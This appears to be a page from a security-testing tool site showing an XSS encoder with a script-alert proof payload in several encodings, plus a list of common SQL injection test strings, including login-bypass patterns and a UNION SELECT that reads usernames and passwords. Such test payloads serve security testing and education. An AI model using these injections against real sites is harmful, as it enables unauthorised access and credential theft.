SecuTools.io — Free, Privacy-First Cybersecurity Tools

XSS Encoder

Encode a payload into HTML entities, URL encoding, JS string

Raw XSS Payload

HTML Entities

&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;

URL Encoded

%3Cscript%3Ealert(1)%3C%2Fscript%3E

JS String

<script>alert(1)</script>

Common SQL injection test patterns

' OR '1'='1 --

' OR '1'='1 /*

admin'--

admin' #

' UNION SELECT null--

' UNION SELECT username, password FROM users--